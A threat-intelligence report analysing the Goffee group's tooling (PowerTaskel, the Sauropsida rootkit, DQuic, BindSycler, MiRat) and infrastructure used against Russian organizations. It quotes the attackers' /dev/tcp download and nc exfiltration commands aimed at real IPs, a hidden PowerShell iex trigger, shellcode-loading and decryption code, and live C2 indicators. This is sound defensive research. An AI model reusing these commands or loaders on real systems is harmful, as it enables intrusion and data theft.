PT Expert Security Center

Fortune-Telling on Goffee Grouds: Сurrent Tools and Features of the Goffee Group in Attacks on Russia

Fortune-Telling on Goffee Grouds: Сurrent Tools and Features of the Goffee Group in Attacks on Russia

Authors:

Klimentiy Galkin

Klimentiy Galkin

Threat Intelligence Specialist at the Positive Technologies Expert Security Center

Varvara Koloskova

Varvara Koloskova

Threat Intelligence Specialist at the Positive Technologies Expert Security Center

Key findings

  • Through incident response and open source intelligence (OSINT), we identified a series of Goffee attacks that used tools not previously seen in the group's operations.
  • The attackers used both well known open source utilities and custom tools derived from open projects. Most of the tools target Unix like systems.
  • To hinder analysis, the attackers use the Ebowla packer, the garbler obfuscator for Golang, and a proprietary algorithm to encrypt network traffic and malicious payloads.
  • Goffee makes extensive use of traffic tunneling tools and carefully conceals its C2 servers.
  • The group favors the Namecheap and NameSilo registrars, Russian IP addresses hosted with MivoCloud, Aeza, and XHost, and has a distinct domain structure for each stage of its operations.

Introduction

Throughout 2024, several Russian organizations contacted the PT ESC IR team to investigate incidents that showed clear similarities. We grouped the malicious activity into a single cluster and attributed it to Goffee, which has been targeting Russian organizations through phishing since 2022. In one case, we observed a previously unknown Linux rootkit, Sauropsida.

The attackers used known tools such as Powertaskel and owowa. We also identified new tools: the BindSycler and DQuic traffic tunneling tools and a new Mythic agent.

First attack

In mid July 2024, a Russian company reached out to PT ESC IR about malicious activity. During the investigation, we determined that the attackers had used the long known PowerTaskel tool. We also found code that extended the classic PowerTaskel to load additional modules in three steps.

During the first step, the Get-ProcAddress function is obtained. On success, Get-ProcAddress: declared or Get-ProcAddress: OK is sent to the server.

Next, several additional functions from open sources are loaded. For example, Get-DelegateType is used to determine function types, and Emit-CallThreadStub is used to create a trampoline for shellcode execution. The WinAPI functions required for memory allocation, shellcode execution, and related tasks are also defined.

A C# method for copying to unmanaged memory is loaded:

 using System;
 namespace UnmanagedCSharp
 {
     public static unsafe class UnmanagedCopier
     {
         public static void CopyManagedToUnmanagedMemory(byte[] src, IntPtr dst, int length)
         {
             fixed (byte* p = src)
             {
                 IntPtr src_ptr = (IntPtr)p;
                 Buffer.MemoryCopy(src_ptr.ToPointer(), dst.ToPointer(), length, length);
             }
         }
     }
 }

During the third step, the script starts loading and executing shellcode. First, it sends an XML formatted message to the server indicating the start of shellcode loading:

<?xml version="1.0" encoding="utf-8"?>
<Objects>
  <Object Type="System.Collections.Hashtable">
    <Property Name="Key" Type="System.String">responses</Property>
    <Property Name="Value" Type="System.Object[]">
      <Property Type="System.Collections.Hashtable">
        <Property Name="Key" Type="System.String">task_id</Property>
        <Property Name="Value" Type="System.String">UID</Property>
         <Property Name="Key" Type="System.String">user_output</Property>
        <Property Name="Value" Type="System.String">"[...]Uploading shellcode`n"</Property>
        <Property Name="Key" Type="System.String">completed</Property>
        <Property Name="Value" Type="System.Boolean">False</Property>       
        </Property>
      </Property>
    </Property>
    <Property Name="Key" Type="System.String">action</Property>
    <Property Name="Value" Type="System.String">post_response</Property>
  </Object>
</Objects>

Each request is encrypted with a single byte XOR and Base64 encoded, after which the script sends requests to download the shellcode:

<?xml version="1.0" encoding="utf-8"?>
<Objects>
  <Object Type="System.Collections.Hashtable">
    <Property Name="Key" Type="System.String">responses</Property>
    <Property Name="Value" Type="System.Object[]">
      <Property Type="System.Collections.Hashtable">
        <Property Name="Key" Type="System.String">task_id</Property>
        <Property Name="Value" Type="System.String">UID</Property>
        <Property Name="Key" Type="System.String">upload</Property>
        <Property Name="Value" Type="System.Object[]">
            <Property Name="Key" Type="System.String">file_id</Property>
            <Property Name="Value" Type="System.String">"6f344b4d-b37f-4ace-a8c4-0b3150f0ceed"</Property>
            <Property Name="Key" Type="System.String">chunk_num</Property>
            <Property Name="Value" Type="System[.]Int32">1</Property>
            <Property Name="Key" Type="System.String">chunk_size</Property>
            <Property Name="Value" Type="System[.]Int32">512000</Property>      
        </Property>
      </Property>
    </Property>
    <Property Name="Key" Type="System.String">action</Property>
    <Property Name="Value" Type="System.String">post_response</Property>
  </Object>
</Objects>

On success, the message "[+]Uploaded $total_bytes bytes of shellcode" is sent. The shellcode is then injected into the current process thread in stages. Each stage—including the result of the shellcode injection—is logged to the attackers' server with a completion note. Finally, the server receives the response [+]Thread invoked successfully" along with the shellcode thread ID.

Figure 1. Final part of the script for loading the shellcode
Figure 1. Final part of the script for loading the shellcode

We were unable to obtain the payload that PowerTaskel downloaded, but its traces remained. After gaining initial access, the attackers uploaded tools to the infected host and started a server to enable subsequent file downloads.

Next, they uploaded the required executables and hid them using the Sauropsida kernel rootkit. Depending on the operating system, they used the following toolsets:

Operating systemFile nameFile upload methodPayloadUse of Sauropsida
Windows1cv8conn.exeChisel server packaged with EbowlaMiRat Mythic agentNo
Linuxsystemd-resolvedTinyShell in server modeSliver Nim dropperYes

On Windows, the attackers downloaded the Mythic MiRat agent to the compromised system and launched it via multistage DLL Sideloading. The legitimate executable wsmprovhost.exe loads WsmSvc.dll during runtime, which in turn loads mi.dll and calls the export functions MI_Application_InitializeV1 and mi_clientFT_V1. Those functions are just stubs; the MiRat loader is implemented in DllMain.

Figure 2. GOFFEE: main attack chain
Figure 2. GOFFEE: main attack chain

On Linux, we observed the use of Sliver. It was delivered inside the Infinity Loader dropper, written in Nim. The dropper decrypts Sliver and writes it to an anonymous file named stukllys via the open descriptor /proc/<currentPID>/fd/<stukllys_handle>, where currentPID is the PID of the current process. The dropper then creates the /usr/libexec/resolved symlink pointing to the file and runs it.

Subsequent attacks

October 2024

Three months later, in October 2024, we detected new Goffee activity against another Russian organization. The attackers used a modified owowa module to harvest user credentials, along with modified Nim based Infinity Loader droppers delivered as DLL, EXE, and ELF. The final payload was Sliver.

Compared to the earlier variant, the Infinity Loader dropper had the following changes:

  • Patched ETW API functions to disable event logging
  • Encrypted strings using an XOR with offset algorithm:
def decrypt(xor_key, encr, size)
    for i in range(size):
        xor_byte = ((xor_key + i) >> 24) ^ ((xor_key + i) >> 16) ^ ((xor_key + i) >> 8) ^ ((xor_key + i))
        xor_byte &= 0xff 
        encr[i] ^= xor_byte
    return encr 
  • Using the Sleep API with a long delay to evade sandboxes
  • Indirect launch of shellcode via the _SymEnumProcesses API

End of 2024

In late 2024, Goffee resurfaced. After gaining access to a system through a compromised account and a vulnerable node, the attackers obtained a bash interpreter. On the victim system, we found commands used to collect data about the infrastructure and open a remote connection to the attackers' servers:

> base64 -d /tmp/tmp20230718 >/tmp/tmp20230719;chmod 755 /tmp/tmp/20230719;fil e/tmp/tmp/20230719
> cat < /dev/tcp/109.107.189.187/32561 > /tmp/tmp20230815;chmod 755 /tmp/tmp20230815
> nc  194.180.191.190 32561 < /lib/systemd/system/systemd-rsyslog.service

For privilege escalation on Linux, the attackers exploited the PolKit vulnerability (CVE 2021 4034). They also used known tools: RawCopy (for low level reads from NTFS disks), Impacket, and Veeam Extract (to inspect backups).

Once reconnaissance was complete, Goffee deployed DQuic—a UDP tunnel over QUIC—on the compromised system, and propagated previously used tools (Chisel and TinyShell) to other nodes. The attackers also deployed new malware, BindSycler, which established an OpenSSH tunnel between the victim host and a Goffee relay node.

Figure 3. Attack chain using administrator credentials
Figure 3. Attack chain using administrator credentials

Throughout 2025, we continued to see new tools linked to this campaign. However, most of them could not be analyzed, as their decryption was tightly bound to the specific runtime environment of each target system.

Malware description

Based on all observed Goffee activity, we identified several key traits:

  • Consistent use of UDP bind connections and traffic tunneling
  • Use of open source tools:
    • Impacket
    • Chisel
    • TinyShell
    • Sliver, typically delivered via a Nim based dropper
  • Introduction of new, unique tools not previously attributed to any other group:
    • DQiuc: a bind shell server that runs over the QUIC protocol
    • BindSycler: a Go based bind SSH tunnel packaged with Ebowla
    • MiRat: a small shellcode, a Mythic agent
    • Sauropsida: a modified Reptilia rootkit (kernelmode/usermode)
  • Most discovered malicious files were packed with different tools and algorithms depending on the OS:
    • On Windows, the group commonly used the known open source packer Ebowla. To derive the decryption key for the payload, the attacker drops a file into C:\Users\Public\Image; the file name serves for generating a decryption key.
    • On Linux, a packer using the same RolMod13 algorithm was typical. In addition to packing the payload, this algorithm is used for string decryption and for encrypting messages for C2.

Detailed descriptions of these tools follow in later sections.

Loader

While analyzing the malicious files, we noticed a frequently reused decryption algorithm that let us link the files to a single campaign. The algorithm resembles a heavily modified rol13. It's named RolMod13: unlike rol13, it applies an XOR key and an index dependent shift. The algorithm is as follows:

def decrypt_module(size, ea, xor_dword):
    bb = get_bytes(ea, size)
    out = b''
    for i in range(0, size, 4):
        dword = struct.unpack("<I", bb[i:i+4])[0]
        dword ^= rol((size - i) ^ xor_dword, (size - i) % 0xd, 32)
        out += struct.pack("<I", dword)
    return out

The algorithm for unpacking and loading code into memory is as follows:

1. First, strings are decrypted with the algorithm above. For clarity, we show the result of decryption here.

Figure 4. String decryption result
Figure 4. String decryption result

The fnStrDecrypt function receives a pointer to the encrypted byte array, its length, and a DWORD XOR key.

2. Next, the malware checks the current process's run command. If it doesn't match the string in configuration, the malware relaunches itself with the specified environment and command line via execve, and the current process stops. The original command interpreter is left unchanged. In our example, the process is started with the /usr/sbin/rsyslogd -n -iNONE parameters and the environment with PATH=/sbin:/bin:/usr/sbin:/usr/bin.

Figure 5. Linux Loader
Figure 5. Linux Loader

3. After validation, the payload is decrypted with the RolMod13 algorithm and loaded directly into memory while preserving the original arguments and environment variables. The decrypted payload is an ELF file with statically linked libraries.

Sauropsida

Sauropsida is a rootkit based on the open source Linux project Reptile. It comprises a usermode component and a kernel module. The tool enables remote control of the system and hides the attacker's presence. Functionally, it differs little from the original version. Based on embedded strings in the malware and the SAU prefix in log messages, we infer the attackers named the sample Sauropsida (Latin for "reptile").

Figure 6. Sauropsida operation
Figure 6. Sauropsida operation

The sample was delivered packed with a modified UPX. In this case, the classic bytes 55 50 58 21 were replaced with A1 D8 D0 D5.

Usermode part

The usermode part is multifunctional. Depending on the command line arguments (or lack thereof), it can act as a rootkit loader, a reverse shell, or a connector to control the rootkit. On first launch, if run as root and with no arguments, it decrypts the kernel module using the RolMod13 algorithm and loads the module via syscall init_module. It passes the following parameter string:

exe_path=%s ld_sym=0x%

Here, the first parameter is the path to the Sauropsida executable, and the second is the address of the kallsyms_lookup_name function.

The latest usermode module uses the following option string for startup parameters: RBHSUdN:P:I:t:s:p:r:F:M:O:. Here's what each command means:

  • R: obtain root.
  • B: set the bind connection flag.
  • F: name of a file to hide from the system.
  • H: hide the kernel part of the rootkit from the module list.
  • I: IP address to hide.
  • M: pin the kernel module in the system.
  • N: process name to hide.
  • O: daemon name to hide.
  • P: PID of a process to hide.
  • S: stop hiding itself.
  • U: unload the kernel module.
  • d: debug mode.
  • p: port for the reverse or bind shell.
  • r: connection delay.
  • t: target ip for reverse shell.
  • s: secret, a session key for reverse shell.

These commands are executed in the kernel module On each run with new parameters, the usermode module sends an ioctl of a specific format to the kernel module.

Figure 7. Sauropsida: command delivery to the kernel module
Figure 7. Sauropsida: command delivery to the kernel module

As shown above, the constants 0xA1306656 and 0xFEB18432 serve as marker words that let the rootkit recognize a command intended for it. Everything between those constants is treated as the command and its parameters. The command details are described later in the "Kernel module" section.

If a target ip parameter is specified, a reverse shell connection is set up immediately. If only the port parameter is specified and the -B flag is set, then a bind shell is set up. In this case (for the bind shell), the secret parameter must be provided; it is used as the session key for the C2 connection.

The reverse and bind shells are based on TinyShell. It also uses HMAC SHA1 and AES to protect the session. A session log is written to /tmp/righthere.txt. The connection is made via UDP, implemented via the recvfrom and sendto APIs.

Figure 8. Sauropsida: reverse shell
Figure 8. Sauropsida: reverse shell

The reverse shell supports the following standard commands:

  • 1: send a file.
  • 2: download a file.
  • 3: receive a command and execute it via bash.
  • 4: update the delay.
  • 5: heartbeat.
  • ;7(Zu9YTsA7qQ#vw: end of connection.

Kernel module

When the kernel module loads, control first passes to sauropsida_init. If it loads without parameters or the file name sauropsida_12345 (apparently a test artifact), autoloading is triggered.

Figure 9. Sauropsida init
Figure 9. Sauropsida init

Autoloading is used after a reboot or an improper start. Saved parameters and commands are extracted from /etc/timeinfo and executed during autoloading. The structure of this file is described below.

On a normal start, all required function hooks are initialized using the open source khook engine. Hooks present in Sauropsida but absent in Reptile:

  • sys_recvmsg and __x64_sys_recvmsg: hide netlink messages.
  • __x64_sys_sendmsg and sys_sendmsg: hide netlink messages.
  • __x64_sys_getdents64, sys_getdents and __x64_sys_getdents: hide files in directory listings (see the similar technique).
  • perf_event_fork, proc_exec_connector: hide a process by name.

Information about hooking functions like proc_exec_connector and perf_event_fork is not widespread; this is a unique technique used by this malware. At the same time, Sauropsida almost completely lacks functionality for hiding file contents, unlike Reptile.

Among the basic hooks borrowed from Reptile, note the inet_ioctl function hook. It is used to receive all commands coming from the usermode module. In ioctl, incoming messages are scanned for marker words. If found, it means there is a command between the two markers. This is how the rootkit determines the command number sent from the usermode part of Sauropsida.

Figure 10. Sauropsida: example of command handling
Figure 10. Sauropsida: example of command handling

Handled сommands:

  • 0: hide itself
  • 1: hide a process by PID
  • 2: hide a process by name
  • 3: hide a daemon
  • 4: NOP
  • 5: obtain root
  • 6: hide a network connection
  • 7: unhide a network connection
  • 8: hide a bind connection on the specified port
  • 9: hide a file (by inode)
  • 10: return the state (whether its own module is hidden)
  • 11: save all objects submitted for hiding to the kernel module into the database (see below).

Where is the C2 in all this? After creating the hooks, the rootkit starts Port Knocking. All UDP packets are checked for a prefix: if a packet starts with hax0r_or_not_ or mag1c, it is treated as a magic packet. The infected host expects this packet; it contains an encrypted configuration. If the prefix is hax0r_or_not_, the packet carries the IP address of the reverse shell's C2; if the prefix is mag1c, it carries the port for the bind shell. The packet is also decrypted with the RolMod13 algorithm.

Figure 11. Sauropsida, the RolMod13 algorithm
Figure 11. Sauropsida, the RolMod13 algorithm

After decryption, the magic packet's data is deserialized. Structure of the packet:

(hax0r_or_not_|mag1c)?<encoded(<ip_str>\s<port_str>)>

The usermode module is then restarted with parameters to enable a reverse shell or bind shell.

Figure 12. Sauropsida: launching a reverse or bind shell from the kernel
Figure 12. Sauropsida: launching a reverse or bind shell from the kernel

A separate swap file is used for temporary storage (by default, /etc/timeinfo). Some commands require several intermediate steps, and encrypted data is written to the swap file. Information is stored in fragments of the following form:

0    1     3        3+size
|type| size| encr_data|

Data is XOR encrypted with the byte 0xE1. Types used for writing data:

  • 7: service name
  • 6: process name
  • 5: file inode
  • 4: nothing
  • 3: ip address
  • 2: ld_sym—the second parameter when downloading the module
  • 1: exe_path—execution file path
  • 0: autostart command

DQuic

DQuic is a UDP bind shell that tunnels traffic using the QUIC protocol. It uses the open picoquic library to implement the protocol. Comparing the library's open-source code with the disassembled sample code shows a fairly old picoquic version, suggesting development began in 2023.

On first run after unpacking, it forks and continues in the child process. Then it initializes the config and decrypts the certificate and private key to establish the connection. Decryption uses the RolMod13 algorithm.

Figure 13. DQuic: config initialization
Figure 13. DQuic: config initialization

A QUIC context is created with quic_create. Parameters include the certificate, private key, alpn (here, udp), and a callback function for handling commands. The previously filled config is passed as the parameter of this callback function. The quic_create function belongs to picoquic; instead on dwelling in this function, we'll focus on the callback. It handles standard picoquic events:

  • picoquic_callback_stream_data: receive data and execute a command from the peer via event_handler.
  • picoquic_callback_stream_fin: receive FIN from the peer and finish queued commands via event_handler.
  • picoquic_callback_prepare_to_send: prepare data for sending.
  • picoquic_callback_ready: send data to the port specified in the config.

Back in main, we see the picoquic_packet_loop_win packet handler, which runs continuously and processes packets directed to the server on the specified bind_port using the loop_callback function. In our case the port was zero, meaning it connects to any free port.

Figure 14. DQuic: main packet handler
Figure 14. DQuic: main packet handler

Inside loop_callback, C2 connection happens in the fninitClient function, with reconnects after a long interval.

Figure 15. DQuic: client initialization
Figure 15. DQuic: client initialization

When the attacker's client connects, the same qevent_handler is used as the handler; it becomes the main handler for the DQuic tunnel.

Figure 16. DQuic: setting the client message handler
Figure 16. DQuic: setting the client message handler

Let's describe its inner workings.

Figure 17. DQuic: command dispatcher
Figure 17. DQuic: command dispatcher

The command dispatcher can be in five states (see figure above). The first state is an interactive handler that manages execution of text commands from the client.

The shell mode has a help command to show DQuic's capabilities:

This is an internal command shell. Supported commands are:
    help - print this message
    get [remote file] [local directory] - get file from the remote node
    put [local file] [remote directory] - put file into the remote node
    socks [action] [action params...] - SOCKS5 proxy server control, actions:
        add [direction] [{IP}:port] - add proxy server on specified port, IP is optional
            dir - direct proxy (from local to remote)
            rev - reverse proxy (from remote to local)
        remove [port] - remove proxy server on specified port
        show - show all proxy servers
    exit - exit internal shell

The get and put commands switch the dispatcher to states 2 and 3, respectively.

When the socks add command is called in shell state, the dispatcher switches to state 4. It creates a socket for the specified proxy. Execution then moves to state 5, which handles read/write within the created proxy.

BindSycler

BindSycler is a Golang shell that tunnels traffic via the SSH protocol. Depending on settings, it can operate over TCP or UDP. The tool is obfuscated with garble, so some function names are missing and most libraries and types are renamed.

At startup, BindSycler sets up its own config:

struct config
{
  bool Debug_flag; // enable debug mode
  bool KnockBack_flag; // establish connection to the server
  strstr DialAddress; // address for establishing the connection
  strstr DialNetwork; // network for establishing the connection (tcp/udp)
  bool BindServer_flag; // start bind server
  strstr BindAddress; // bind address for the server
  strstr BindNetwork; // network for binding the server (tcp/udp)
  strstr BindTlsServer_Flag; // start bind server in TLS mode
  strstr FixtureSsh_ServerKey; // SSH key
  slice FixtureAuthorized_KeyPub; // Authentication key
  double SyclePeriod;
  __int64 SycleJitterFactor;
  bool TlsKnockBack_flag; // establish connection to the server in TLS mode
  strstr TlsDialAddress; // address for establishing the connection in TLS mode
  strstr TlsDialNetwork; // network for establishing the connection (tcp/udp) in TLS mode
  __int64 TlsCyclePeriod;
  double TlsCycleJitterFactor;
  strstr BindTlsServerAddress; // bind address for the server in TLS mode
  strstr BindNetwork; // network for binding the server (tcp/udp) in TLS mode
  __int64 Pointer; // not used, probably additional keys for TLS
};

The fields FixtureSsh_ServerKey and FixtureAuthorized_KeyPub are supplied in the tool's data section.

Depending on the network configuration, a bind server is initialized and a dial connection to the C2 is established. The flags KnockBack_flag and TlsKnockBack_flag control whether to connect to the server, while BindServer_flag and BindTlsServer_Flag define the format of the enabled server. These flags are not mutually exclusive: BindSycler can bring up multiple servers and talk to multiple C2. Two functions handle the tunnel endpoints—binder and sycler. The first sets up a bind connection to wait for incoming connections, then forwards everything to the SSH handler.

Figure 18. BindSycler: launching binder
Figure 18. BindSycler: launching binder

The second function with the specified parameters SyclePeriod and SycleJitterFactor maintains a persistent connection to the server.

Figure 19. BindSycler: launching sycler
Figure 19. BindSycler: launching sycler

Tasks from the server are handled by the donkey function.

Figure 20. BindSycler: launching dokney
Figure 20. BindSycler: launching dokney

It establishes a dial connection to the server, after which the new connection goes to a single handler—SSH Connection. The main ssh function is largely copied from an example in the open source ssh golang library. It uses the same class names, the same nesting structure, and a similar code base, although extended for the APT group's functions.

Figure 21. BindSycler: comparing handshake functions
Figure 21. BindSycler: comparing handshake functions

Four ssh channel types are supported:

  • ssh: reconnect to a new address
  • direct-tcpip: a connection for tunneling client traffic
  • session: supports three commands:
    • exec: execute a command via os.exec.Command()
    • shell: hand off control to the interpreter (default cmd.exe)
    • subsystem: enable file transfer over SFTP
  • forward-tcpip: a connection for tunneling traffic for a bind connection

Notably, when the system uses a Russian locale, input streams are created with a different encoding so that encoding is preserved on connection and file names display correctly. This once again points to a focus on the Russian segment in the attacks.

Figure 22. BindSycler: character-encoding conversions for I/O streams
Figure 22. BindSycler: character-encoding conversions for I/O streams

MiRat

MiRat is a Mythic framework agent—a small shell loaded into the system via Sideloading.

The first thing that stands out is dynamic import during the first-stage shellcode load. For hashing, it uses the FNV-1a algorithm after converting all strings to uppercase.

Figure 23. MiRat: dynamic API resolve
Figure 23. MiRat: dynamic API resolve

Control then passes to CreateThread API, with a function just under 2 MB as the parameter. In the disassembler, one basic block is abnormally large; it is filled with byte-by-byte copying of shellcode onto the stack, which makes the function huge. VirtualProtect is called on this memory area, after which execution jumps to the payload.

Figure 24. MiRat: dropping shellcode onto the stack
Figure 24. MiRat: dropping shellcode onto the stack

At startup the backdoor creates a mutex 6536bc83-5a38-4678-bfab-b2a723a86788 to prevent the loading of multiple instances of the malware. It then proceeds to its main functions. The entire backdoor is a single monolithic function, which makes analysis unpleasant. The backdoor first performs dynamic import, using the FNV-1a algorithm with a different initial value.

The backdoor logs almost every action to history.hcl, writing entries as %d/%d/%d %d:%d:%d %s %s: first the date, then time, a comment string, and its argument. Data is not stored in cleartext: before logging, each line is XOR-encrypted with the key 49dd9765-c4c5-47d2-9c00-75c26a7d28b4.

The log is created at a full path specified in the program. The document is created in C:\\Users\\<username>\\Documents\\WSM\\history.hcl, where username is the one of the machine where the backdoor ran. If the log cannot be created at that path, MiRat exits. From this we can infer the sample was built for an attack on a specific organization.

MiRat is a fairly simple Mythic agent: first it sets up a secure connection to C2 and generates a random 20-character ID to identify the victim. It then waits for server commands. MiRat can execute the following commands:

  • exit: terminate
  • sleep: set new jitter and interval values in the agent's configuration
  • shell: run the command specified as a parameter via cmd /S /c
  • shell_inject: run shellcode received from the server in a separate thread within the current process.

Network infrastructure analysis

During incident investigations and searches for additional indicators of compromise, we found several attack chains used by Goffee. For the identified network indicators, we built network profiles typical for attackers.

network profile is a set of unique (distinctive) traits found in the group's network indicators, used to predict new nodes in their infrastructure. Unique traits include, for example:

  • WHOIS data (email, street, organization or admin name, and other details)
  • Keywords used in domains
  • Hosting providers, ASNs
  • SSL certificate fields
  • Server configuration (open ports, services)

Network profiles of different attack stages

Looking at the attack chain involving an HTA file, you can see patterns in how the attackers prepare their infrastructure. They are shown in the diagram below.

Figure 25. GOFFEE's network profiles
Figure 25. GOFFEE's network profiles

Let's examine each stage of the group's attacks, showing which infrastructure features were found and which domains may potentially belong to Goffee. Some network indicators may fall outside the profile but were confirmed during incident investigations.

Phishing stage

Figure 26. The analysis
Figure 26. The analysis

For phishing, the group most often uses .ru/.рф domains, hosting malicious domains on Russian IP addresses at "dirty" (that is, more often abused) providers—Aeza, VDSINA, MivoCloud, and others. The GoPhish tool is used to send phishing emails.

Gophish is an open-source phishing toolkit designed for businesses and penetration testers. It provides the ability to quickly and easily setup and execute phishing engagements and security awareness training.
Source: GitHub (GoPhish)

Potentially interesting and new domains were searched using the following steps:

  • Review IP addresses involved in attacks to find new domains (for example, rkn-info.ru).
  • Review subnets of IP addresses involved in attacks.
  • Search for similar domains by keywords. Most domains mimic government services or other applications used by users (for example, digitalgov.ru, disk-yabdex.ru).
  • Search for related domains by other parameters (for example, WHOIS).
  • Search reports and open sources.

Based on the collected data, we formed a predicted layer, where domains marked in yellow are those we believe may be used in Goffee attacks. At this stage, Goffee's network profile looks as follows:

IndicatorCharacteristic
RegistrarNamecheap
Phishing toolGoPhish
Hosting providers and IP addressesRussian IP addresses on MivoCloud, Aeza, VDSINA, and XHost
Top-level domain.ru, .рф, .tech, .online

PowerTaskel additional module delivery

Figure 27. Malicious domains observed during macro and PowerTaskel execution
Figure 27. Malicious domains observed during macro and PowerTaskel execution

Additional modules used in the attack chain are delivered from single-level domains in the .com/.org zone. The domains are hosted on the already known providers, on Russian IP addresses. The registrar is usually Namecheap; occasionally NameSilo appears, but only for a few domains.

To find similar domains, we reused the same methods as in the previous stage: reviewing Russian subnets and the same IP addresses. In addition, we added a separate step to search for similar URLs that hosted the payload. Examples of links:

http://[REDACTED]/inhibiting/cries/aerobe/merchantman/cheeseburgers
https://[REDACTED]/page/push/turn/order

As you can see, links are often deeply nested; directories are named with random English words.

The network profile at the malware-delivery stage looks as follows:

IndicatorCharacteristic
RegistrarNamecheap: often
NameSilo: rare
Maximum domain levelSecond-level domains or IP addresses
Hosting providers and IP addressesRussian IP addresses on MivoCloud, Aeza, VDSINA, and XHost
Top-level domain.com, .org: often
.host: rare

Malware execution stage

Figure 28. GOFFEE: network IOCs
Figure 28. GOFFEE: network IOCs

The most interesting part of studying the network indicators is looking for the domains used in the final stage of the attack chain. By examining many adversary servers found during incident investigation, we identified a set of traits.

IndicatorDescription
Hosting providers and IP addressesHosting providers with Russian subnets (Aeza, MivoCloud, Beget, Stark Industries, VDSINA, and more)
Domain levelThird: often
Second: rare
MimicryRussian software and systems
Domains of Unix-like systems
Domains of other systems used by users
Keywordsmirror, deb, app, repo, api, altlinux, astralinux, apt, pkg
Top-level domains.com
use of .cloud observed
RegistrarNamecheap

To search for other indicators, we performed keyword-based search and reviewed subnets with IP addresses located in Russia.

Confirmation of the identified traits. Goffee attacks in summer 2025

Early July. Attack on the military-industrial complex

In July 2025, a new phishing email impersonating Russia's Ministry of Industry and Trade was detected, addressed to a Russian company in the military-industrial sector. The email contained a malicious archive, minprom_04072025.rar, with three files:

  • Шаблон_запроса (7) (11).docx: a lure document
  • xpsrchvw74.exe: a malicious executable
  • письмо на СМ_(файл отображения).pdf: document impersonating the Russian Ministry of Industry and Trade
Figure 29. Phishing email impersonating the Russian Ministry of Industry and Trade
Figure 29. Phishing email impersonating the Russian Ministry of Industry and Trade
Figure 30. Lure document
Figure 30. Lure document
Figure 31. Document impersonating the Russian Ministry of Industry and Trade
Figure 31. Document impersonating the Russian Ministry of Industry and Trade

A peculiarity of the RAR archive is the use of CVE-2025-6218 to place the malware in the startup folder. The malware itself was a patched XPS document loader, xpsrchvw.exe, with Metasploit inside. The malicious shellcode establishes a connection and opens a reverse shell.

Goffee infrastructure observed in this attack:

  • The email was sent from a Russian IP address, 213.171.4[.]200, on which the domains rt-inforu[.]ru and impact-dns[.]ru. were found.
  • The attack chain uses a deeply nested URL:
    hxxps://eliteheirs[.]org/checks/brandished/dyestuffs/abbess/interrelation
    • The domain is in the .org zone, second level, and registered via NameSilo.
  • The malware uses an IP address in the Russian zone: 89.110.88[.]155 (VDSINA).

The further attack chain could not be uncovered because the attackers' C2 was inactive at the time of analysis.

When searching for similar names, we found a file named xpsrchvw.exe. After analyzing it, we discovered a modified section in the form of malicious shellcode inserted at the preloading stage. It uses the same obfuscation and dynamic API resolution as MiRat. As a result, the loader downloads a malicious decoy—an Excel file at hxxps:// rulebest[.]com/earthlings/baled/confidants/contraflows/hyphened.xlsx. The file is saved to %TEMP%\mob2025.xlsx and launched with the command:

C:\Windows\System32\cmd.exe /c start "" "%TEMP%\mob2025.xlsx"

Unfortunately, the link was inactive during our research, and we were not able to obtain the decoy. After that, the shellcode proceeds to its main functions. The loader starts cmd with the following command:

/c start %SystemRoot%\sysnative\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden -Command "$watcher = New-object System.IO.FileSystemWatcher \"$env:TEMP\\\";$watcher.EnableRaisingEvents '= $true;$watcher.Filter=\"trigger.txt\";$watcher.NotifyFilter = [System.IO.NotifyFilters]::LastWrite;$trigger = Register-ObjectEvent $watcher \"Changed\"  -Action {$trigger_content = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String((Get-Content \"$env:TEMP\\trigger.txt\" -Raw))); iex $trigger_content};while($true) {$null = $watcher.WaitForChanged(\"Changed\");start-sleep -s 2;};

As a result, a trigger is set: whenever data is written to the file trigger.txt, its contents are base64-decoded and executed immediately. Then the shellcode creates %TEMP%/trigger.txt, decodes its content, and writes it to the file.

Figure 32. PowerPrepare: ID generation
Figure 32. PowerPrepare: ID generation

The trigger.txt file turned out to be a descendant of PowerModule; we named it PowerPrepare. To begin with, PowerPrepare generates a victim ID and encodes it using base64 with some character substitutions. It then generates a request to a URL of the following form:

Figure 33. PowerPrepare: generating the request URL
Figure 33. PowerPrepare: generating the request URL

Here, UID is PowerPrepare's unique identifier; in our case it was 0d15a3e9-a28e-462a-a9d6-8b4bb96093b6. The response to this request is a base64-wrapped .NET module, which is reflectively loaded into the system and executed immediately.

Late July. Attack exploiting a zero-day vulnerability in WinRAR

On July 22 and July 31, several more archives were discovered: DON_AVIA_TRANS_RU.rar and Запрос_Минпромторг_22.07.rar. The archives contained files exploiting a previously unknown vulnerability in WinRAR up to and including version 7.12. The vulnerability is a path traversal in WinRAR's function that extracts alternate data streams.

In addition to the lure document, the archive contains malicious .lnk and .exe files, which are alternate data streams for a PDF file. Using the vulnerability, the following paths are used to extract the malicious files:

  • AppData\Local\WinRunApp.exe
  • AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WinRunApp.lnk
Figure 34. Lure document in a new archive
Figure 34. Lure document in a new archive

The executable itself is a simple .NET loader that performs several actions:

  • Runs a command specified in the config (if present).
  • Runs a mutex with the specified name.
  • Constructs a URL to request the next payload (Figure 36):
    <url>?hostname=<MachineName>&username=<UserName>
  • Sends the request to obtain the payload.

After that, the received module is reflectively loaded.

Figure 35. Generation the URL for connecting to the C2
Figure 35. Generation the URL for connecting to the C2

In the most recently discovered attacks, links of the following format were used:

  • https: //Trailtastic.org/glowworms/diverted/calorie/britons/parabolas
  • https: //IndoorVisions.org/patriarchal/furthering/creating/flared/censured

As can be seen, the links have five levels of nesting; both domains are hosted on servers with Russian IP addresses (94.242.51.73 and 89.110.98.26 at the time of investigation), registered with Namecheap, and both top-level domains are .org. In addition, a lure document impersonating Russia's Ministry of Industry and Trade can be attributed to the group, similar to what was observed on July 4.

Takeaways

Our analysis of Goffee's activity shows a consistent, well planned approach aimed at long term persistence in victim infrastructure with minimal visibility. The group's attacks have already had tangible consequences, including cases of disrupted business processes at Russian organizations.

Although Goffee's activity has been tracked for more than two years, information about it is poorly represented in the public domain. This is primarily due to the limited geography of the attacks (they target mainly Russian organizations) and the group's focus on stealth, which has made it difficult to obtain the tools used in the later stages of the attacks.

As a result of prolonged research, new tools used by the group in the later stages were discovered, such as DQuic, MiRat, BindSycler, and the Sauropsida rootkit. However, tools used by the group earlier, such as owowa and PowerTaskel, remain relevant.

